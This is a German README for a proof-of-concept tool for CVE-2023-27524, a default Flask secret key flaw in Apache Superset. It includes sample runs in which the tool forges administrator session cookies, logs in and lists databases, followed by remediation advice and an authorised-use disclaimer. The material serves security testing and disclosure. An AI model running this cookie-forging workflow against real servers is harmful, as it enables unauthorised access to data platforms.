
Einfacher PoC für CVE-2023-27524: Unsichere Standardkonfiguration in Apache Superset
Skript zur Überprüfung, ob ein Apache Superset-Server mit einer unsicheren Standardkonfiguration läuft (CVE-2023-27524). Das Skript prüft, ob die Sitzungscookies eines Superset-Servers mit einem bekannten Standard-Flask-SECRET_KEY signiert sind.
Das --validate Flag kann verwendet werden, um die Ausnutzbarkeit zu validieren, indem Datenbanken über die Superset-API aufgelistet werden.
Weitere Details hier: https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset Nachfolgebeitrag: https://www.horizon3.ai/apache-superset-part-ii-rce-credential-harvesting-and-more/
% python3 CVE-2023-27524.py -h
usage: CVE-2023-27524.py [-h] --url URL [--id ID] [--validate] [--timeout TIMEOUT]
optional arguments:
-h, --help show this help message and exit
--url URL, -u URL Base URL of Superset instance
--id ID User ID to forge session cookie for, default=1
--validate, -v Validate login
--timeout TIMEOUT, -t TIMEOUT
Time to wait before using forged session cookie, default=5s
% python3 CVE-2023-27524.py -u http://10.0.220.200:8088
Got session cookie: eyJjc3JmX3Rva2VuIjoiZDBiYWI5ZmU0YTRjOWFiM2ZkMjc2YjA2ZDZiNWE0MDZmZmNkN2JkOCIsImxvY2FsZSI6ImVuIn0.ZEc0tw.X6y_rTie0yMP5oTFC6KNq8Me9ek
Decoded session cookie: {'csrf_token': 'd0bab9fe4a4c9ab3fd276b06d6b5a406ffcd7bd8', 'locale': 'en'}
Superset Version: 2.0.1
Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
Forged session cookie for user 1: eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc0tw.xmzJjq757QujOpk65jK0dLgCSDg
% python3 CVE-2023-27524.py -u http://10.0.220.200:8088 --validate
Got session cookie: eyJjc3JmX3Rva2VuIjoiMTY0ZWExNWJlMDhmNWM2ZmZmOGFhNTExZThhMjUzYjM1YWY5MTdlNiIsImxvY2FsZSI6ImVuIn0.ZEc07w.CAkEJ7AtDlpfvVok-w0JQVcJqa0
Decoded session cookie: {'csrf_token': '164ea15be08f5c6fff8aa511e8a253b35af917e6', 'locale': 'en'}
Superset Version: 2.0.1
Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
Forged session cookie for user 1: eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc07w.fOAFW0_5gLUTkIbeR_5AqEz2DoU
Sleeping 5 seconds before using forged cookie to account for time drift...
Got 302 on login, forged cookie appears to have been accepted
Enumerating databases
Found database examples
Found database PostgreSQL
Done enumerating databases
Wenn das Skript einen verwendeten SECRET_KEY erkennt, aber die Ausnutzbarkeit nicht validieren kann, könnte dies folgende Ursachen haben:
--id Argument, um eine bestimmte user_id zu setzen, wenn Sie sie kennen)Befolgen Sie die Anweisungen hier, um einen Flask SECRET_KEY zu generieren und zu konfigurieren. Das superset CLI-Tool kann verwendet werden, um den SECRET_KEY zu rotieren, sodass vorhandene Datenbankverbindungsinformationen erhalten bleiben.
Diese Software wurde ausschließlich für akademische Forschung und die Entwicklung effektiver defensiver Techniken erstellt und ist nicht dazu bestimmt, Systeme anzugreifen, außer wenn dies ausdrücklich autorisiert ist. Die Projektverantwortlichen sind nicht verantwortlich oder haftbar für Missbrauch der Software. Verwenden Sie sie verantwortungsvoll.